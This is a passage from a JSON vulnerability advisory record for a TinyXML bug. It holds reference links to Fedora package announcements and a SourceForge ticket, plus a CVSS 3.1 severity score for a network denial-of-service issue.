"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4QCR5PIOBGDIDS6SYRESTMDJSEDFSCOE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HOMBSHRIW5Q34SQSXYURYAOYDZD2NQF6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4QCR5PIOBGDIDS6SYRESTMDJSEDFSCOE"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HOMBSHRIW5Q34SQSXYURYAOYDZD2NQF6"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/tinyxml/bugs/141"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.